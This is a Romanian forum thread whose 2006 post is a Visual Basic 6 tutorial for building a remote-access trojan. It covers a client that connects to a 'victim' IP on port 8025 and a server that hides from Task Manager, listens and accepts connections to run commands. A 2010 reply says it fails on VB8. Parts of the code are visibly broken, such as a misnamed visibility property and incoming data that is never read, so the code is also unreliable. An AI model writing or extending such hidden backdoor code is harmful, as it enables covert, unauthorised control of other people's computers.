s3rpico Posted November 12, 2006 Report Share Posted November 12, 2006 Probabil ca multi dintre voi de mult va doriti sa creeati propiul Client + Server Trojan a.k.a R.A.T (Remote Administration Tool).Pentru inceput avem nevoie de VB6 ( Visual Basic 6 ), In Titlul Subiectului am mentionat.Client :1.Deschidem Visual Basic2.Deschidem un Nou Standard projectAcum Vom Avea Nevoie de componenta Microsoft Winsock Control 6.0 (mswinsck.ocx) Pe care o veti gasi Sus la -> Project -> Components.Dupa ce am bagat Componenta(Controlul) Mswinsck.ocx o adaugam In Forma.In Forma Componenta sa aiba numele Sock (normal ar trebui sa aiba winsock1).Acum Avem Nevoie de 2 Butoane, Un buton numit connect iar celalalt data.Cu Butonul Connect Ne Vom Connecta in Computerul Victimei.Iar cu Butonul Data vom trimite Date spre computerul victimei astfel serverul executand o anumita comanda.Mai Avem nevoie de 1 Text Numit victim.Textul numit Victim va fi ip-ul Victimei la care vrem sa ne connectam.Codul Butonului Connect sa fie Cam asa :Private sub connect_click()sock.closesock.RemoteHost = victim.textsock.RemotePort = "8025"sock.connectAcum sa va explic :sock.close - Ca sa nu primim Errori in timp ce ne connectam va trebui sa introducem acest cod in butonul De Connectare.De ce ? Pentru ca daca suntem deja connectati si codul sock.close nu este pus in buton va da o eroare pentru ca nu se poate connecta din nou daca este connectat deja.Acum Vom Trece la butonul Data, Codul lui ar trebui sa arate cam asa :sock.SendData "error" 'Trimite Data Error, in server vom adauga actiunea ei.Comanda Este Foarte Simpla, Deoarece Acesta este Clientul cu care ne connectam la victima.Cu Serverul am terminat,Acum vom Trece la Server (Partea cea mai dificila).Acum Stiti ce sa faceti ... Porniti Visual Basic, un proiect standard, Adaugati componenta mswinsck.ocx de la Project -> Components, Apoi o adaugam pe forma (tot cu numele sock).Acum, Pentru ca serverul sa nu fie Depistat Va Trebui sa il faceti INVIZIBIL Invizibil si in task manager, si forma / formele.In Form Load Va trebui inserat urmatorul cod :Private sub Form_load()app.taskvisible = false 'Aceasta comanda va Face Programul invizibil in Task Managerme.invisible = false 'Aceasta comanda va Face forma invizibilasock.close 'Aceasta Comanda Va Inchide Connexiunea daca exista dejasock.localport = "8025" 'Acesta Este Portul pe care Serverul va ascultasock.listen 'Aceasta este Comanda Cu Care Serverul Va AscultaEnd SubDaca acum va ganditi ca am terminat cu Serverul va imaginati .Acum mai sunt Cateva chestii de Facut, In legatura cu DataArrival,ConnectionRequest Ale Winsockului.Acu va trebui sa ne ocupam de DataArrival.Cu Ajutorul DataArrivalului Datele trimise Cu SendData din client vor fi urmate de anumite actiuniCodul Pentru DataArrival Este Urmatorul :Private Sub sock_DataArrival(ByVal bytesTotal As Long)Dim Data As StringIf Data = "error" Then 'Daca Data Primita este error ea va fi urmata de :MsgBox "This Is an error, lol",vbInformation 'Acest MsgboxEnd IfAcum Vom Trece la Connection Request, Pasul in care Clientul Il intreaba pe server daca ii da voie inauntru .Il puneti la fel.... In codul formeiPrivate Sub sock_ConnectionRequest(ByVal requestID As Long)sock.Close 'Inchide Connexiunea daca exista dejasock.Accept requestID 'Accepta ClientulEnd SubMai puteti adauga Chestii, logic ca puteti , Nu ma intrebati cum, se vede cum .... Puteti Da Tutorialul Mai Departe, Pe forumuri etc. Da dati Credite Autorului ....Credite :s3rpico @ darksouls.1gb.at/forumTutorialu e scris de mine personal.Have Phun ! Quote Link to comment Share on other sites More sharing options...
luke999 Posted March 6, 2010 Report Share Posted March 6, 2010 pe vb8 nu merge, chiar daca nu da nicio eroare Quote Link to comment Share on other sites More sharing options...